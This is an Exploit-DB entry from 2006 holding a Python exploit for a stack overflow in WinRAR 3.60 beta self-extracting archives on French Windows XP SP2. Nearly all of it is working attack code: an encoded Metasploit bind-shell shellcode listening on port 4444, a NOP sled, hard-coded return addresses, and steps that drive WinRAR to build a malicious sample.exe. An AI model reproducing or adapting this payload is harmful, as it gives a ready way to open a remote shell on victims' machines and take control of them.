Exploit-DB #1992
Description: WinRAR 3.60 Beta 6 (French) - SFX Path Local Stack Overflow
Type: local
Platform: windows
Date: 2006-07-07
Author: Jerome Athias

Exploit:
"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================

Tested Version(s)..: WinRAR 3.60 beta 4
Original Author.............: posidron
Shellcode Stuffing .........: muts

XP SP2 French return address : JA

"""

import os, sys

winrar__ = 'C:\WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */

sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x36\x46\x32\x46\x42\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x37"
sc +="\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
sc +="\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x58"
sc +="\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
sc +="\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
sc +="\x46\x4f\x4b\x43\x46\x55\x46\x52\x4a\x52\x45\x47\x45\x4e\x4b\x48"
sc +="\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x54"
sc +="\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x42\x4b\x48"
sc +="\x49\x48\x4e\x56\x46\x42\x4e\x41\x41\x46\x43\x4c\x41\x33\x4b\x4d"
sc +="\x46\x36\x4b\x38\x43\x34\x42\x53\x4b\x48\x42\x54\x4e\x50\x4b\x48"
sc +="\x42\x37\x4e\x31\x4d\x4a\x4b\x48\x42\x44\x4a\x30\x50\x35\x4a\x36"
sc +="\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x56"
sc +="\x43\x55\x48\x46\x4a\x46\x43\x33\x44\x53\x4a\x56\x47\x57\x43\x57"
sc +="\x44\x43\x4f\x45\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
sc +="\x4e\x4f\x4b\x33\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x58\x45\x4e"
sc +="\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x56\x44\x50"
sc +="\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45"
sc +="\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34"
sc +="\x43\x45\x43\x54\x43\x55\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x41\x51"
sc +="\x4e\x35\x48\x56\x43\x45\x49\x38\x41\x4e\x45\x59\x4a\x56\x46\x4a"
sc +="\x4c\x51\x42\x57\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
sc +="\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32"
sc +="\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x45\x4e\x49\x44\x48\x38\x49\x34\x47\x55\x4f\x4f\x48\x4d"
sc +="\x42\x55\x46\x55\x46\x45\x45\x55\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
sc +="\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"
sc +="\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x56\x48\x56\x4a\x36\x43\x36"
sc +="\x4d\x36\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x32\x4e\x4c"
sc +="\x49\x58\x47\x4e\x4c\x46\x46\x34\x49\x58\x44\x4e\x41\x33\x42\x4c"
sc +="\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x32"
sc +="\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
sc +="\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x57\x46\x44\x4f\x4f"
sc +="\x48\x4d\x4b\x55\x47\x45\x44\x55\x41\x55\x41\x45\x41\x45\x4c\x56"
sc +="\x41\x30\x41\x35\x41\x55\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x56"
sc +="\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x46"
sc +="\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f"
sc +="\x43\x58\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
sc +="\x4f\x4f\x42\x4d\x5a"

#buf = "Path=" + "\x90" * (2035-len(sc)) +sc+ "\x3c\x15\xdc\x77" + "\x90" * 8 + "\xEB\x30\x90\x90" + "\r\nSavePath\r\n" # JMP ESP XP SP2
buf = "Path=" + "\x90" * (2035-len(sc)) +sc+ "\x5D\x38\x82\x7C" + "\x90" * 8 + "\xEB\x30\x90\x90" + "\r\nSavePath\r\n" # 0x7C82385D      call ESP	Kernel32 XP SP2 FRENCH


try:
    info = open(sfxnfo__, "w+b")
    info.write(buf)
    info.close()
except IOError:
    sys.exit("Error: unable to create: " + sfxnfo__)

print "Creating archive:",
os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
print "done."
print "Executing:",
# debug only!
#os.spawnv(os.P_WAIT, result__, [result__, ""])
#print "done."
print "Cleaning up:",
os.remove(sfxnfo__)
print "done."

# milw0rm.com [2006-07-07]